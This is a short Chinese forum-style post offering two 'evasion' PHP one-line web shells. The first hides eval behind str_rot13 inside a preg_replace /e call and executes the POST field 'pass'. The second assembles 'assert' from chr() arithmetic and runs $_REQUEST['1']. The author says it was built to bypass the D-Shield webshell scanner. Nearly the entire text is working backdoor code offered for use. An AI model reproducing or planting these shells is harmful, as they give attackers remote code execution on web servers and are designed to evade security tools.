PHP2018-9-9最新免杀一句话

<?php ($sun = $_POST['pass']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($sun)', 'add');?>

好吧 应网友需求，刚去做了个过d盾的，其他的没测试

<?php
$a = chr(92+5);
$b = chr(ord($a)+18);
$c = chr(ord($b)-14);
$d = chr(ord($c)+13);
$e = chr(ord($d)+2);
$f = $a.$b.$b.$c.$d.$e;
forward_static_call_array($f, array($_REQUEST['1']));
?>